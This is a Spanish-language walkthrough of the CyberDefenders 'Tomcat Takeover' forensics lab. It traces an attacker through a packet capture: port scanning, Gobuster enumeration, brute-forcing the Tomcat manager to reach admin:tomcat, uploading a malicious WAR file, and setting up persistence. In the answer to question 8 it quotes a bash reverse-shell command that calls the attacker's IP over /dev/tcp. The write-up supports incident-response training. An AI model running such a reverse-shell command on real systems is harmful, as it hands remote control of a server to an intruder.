Cyberdefenders Tomcat Takeover Walkthrough

 

Escenario:
Nuestro equipo SOC ha detectado actividad sospechosa en uno de los servidores web dentro de la intranet de la empresa. Para obtener una comprensión más profunda de la situación, el equipo capturó el tráfico de la red para analizarlo. Este archivo pcap contiene potencialmente una serie de actividades maliciosas que han resultado en el compromiso del servidor web Apache Tomcat. Necesitamos investigar este incidente más a fondo.

Preguntas

1.- Dada la actividad sospechosa detectada en el servidor web, el análisis de pcap muestra una serie de solicitudes en varios puertos, lo que sugiere un posible comportamiento de escaneo. ¿Puede identificar la dirección IP de origen responsable de iniciar estas solicitudes en nuestro servidor?

La dirección IP de origen responsable de iniciar estas solicitudes es 14.0.0.120. La información se obtuvo con la herramienta Brim Security y el filtro Suricata Alerts By Category.

2.- Con base en la dirección IP identificada asociada con el atacante, ¿puede determinar la ciudad desde donde se originaron las actividades del atacante?
La ciudad desde donde se originaron las actividades del atacante es Guangzhou. La información se obtuvo con la herramienta online iplocation.net 
3.- 
A partir del análisis de pcap, se detectaron múltiples puertos abiertos como resultado del escaneo de actividades del atacante. ¿Cuál de estos puertos proporciona acceso al panel de administración del servidor web?
El puerto que proporciona acceso al panel de administración del servicio web es 8080. La información se obtuvo con la herramienta Wireshark y el siguiente filtro de búsqueda "Packet bytes, Narrow & Wide, String = admin". En el frame número 745 encontré la página de administración del servidor web.
Además, copié todo el contenido del contenido html y lo desplegué en el navegador.

Como se muestra en la imagen anterior es la página web de administración del servidor web tomcat.

4.- Tras el descubrimiento de puertos abiertos en nuestro servidor, parece que el atacante intentó enumerar y descubrir directorios y archivos en nuestro servidor web. ¿Qué herramientas puede identificar a partir del análisis que ayudaron al atacante en este proceso de enumeración?
La herramienta utilizada para enumerar y descubrir directorios fue Gobuster. La información se obtuvo con la herramienta Wireshark y el filtro "ip.addr==14.0.0.120 and http". Cabe menciona, que utilice el filtro descrito anteriormente porque sabemos que la dirección IP del atacante es 14.0.0.120 y que el atacante está enumerando y descubriendo directorios del servidor web que utiliza el el protocolo http de comunicación. 

En el frame número 20108 encontré información de la herramienta utilizada para realizar enumeración y descubrimiento de directorios utilizada por el atacante.
Para realizar este tipo de búsqueda casi en la mayoría de los casos hay que fijarse en la cabecera User-Agent esta muestra el nombre de la aplicación y su versión en la mayoría de los casos.

5.- Después de sus esfuerzos por enumerar directorios en nuestro servidor web, el atacante realizó numerosas solicitudes intentando identificar interfaces administrativas. ¿Qué directorio específico asociado con el panel de administración pudo descubrir el atacante?
El directorio asociado al panel de administración es /manager. La información se obtuvo con la herramienta Wireshark y el siguiente criterio de búsqueda "Packet bytes, Narrow & Wide, String = Authorization". El encabezado Authorization es un mecanismo de autorización utilizada por el protocolo http y tiene el siguiente formato:

Authorization: usuario:password

Donde usuario:password debe codificarse en base64. Como es una página web de panel de administración me imagine que tenía como mínimo este tipo de autenticación.
6.- Al acceder al panel de administración, el atacante intentó forzar las credenciales de inicio de sesión por fuerza bruta. A partir de los datos, ¿puede identificar la combinación correcta de nombre de usuario y contraseña que el atacante utilizó con éxito para la autorización?
Un poco de análisis antes de dar la respuesta. Ya sabemos que el panel de administrador utiliza como mecanismo de autenticación básica del protocolo http. Por lo tanto, si el usuario y password es correcta debería devolver un código de estado http 200 (Ok), sino coinciden debería devolver un código de estado http 401 (Unauthorized).     
Encontramos la autenticación correcta. Recuerden que tanto el usuario y password se deben codificar en base64, por lo tanto, debemos decodificarla para obtener el nombre de usuario y password en texto claro.
Las credenciales son admin:tomcat

7.- Una vez dentro del panel de administración, el atacante intentó cargar un archivo con la intención de establecer un shell inverso. ¿Puedes identificar el nombre de este archivo malicioso a partir de los datos capturados?
Un poco de análisis, el servidor tomcat es un servidor web que es utilizado para desplegar sitios web codificados en el lenguaje de programación de Java. Buscado en Internet los la extensión de archivos utilizados por Java para sitios web son JSP, WAR entre otros.

Si el atacante intento cargar un archivo lo más probable lo hizo por el panel de administración a través de un formulario web. Utilizaré el filtro "Packet bytes, Narrow & Wide, String = multipart/form-data".

Luego de identificar el archivo lo exporte con la utilidad Export Object / HTML.
En mi caso lo guardé con el nombre de file.txt y lo envié a VirusTotal para saber si es un archivo malicioso.
El archivo es malicioso y VirusTotal lo identifico como troyano reverseshell.java.

La respuesta para nuestra pregunta es JXQOZY.war.

8.- Tras establecer con éxito un shell inverso en nuestro servidor, el atacante pretendía garantizar la persistencia en la máquina comprometida. A partir del análisis, ¿puede determinar el comando específico que están programados para ejecutar para mantener su presencia?
El comando específico que está programado para generar persistencia es /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'. La información se obtuvo con la utilidad strings de Linux.
 
Happy Hack!!!

Comentarios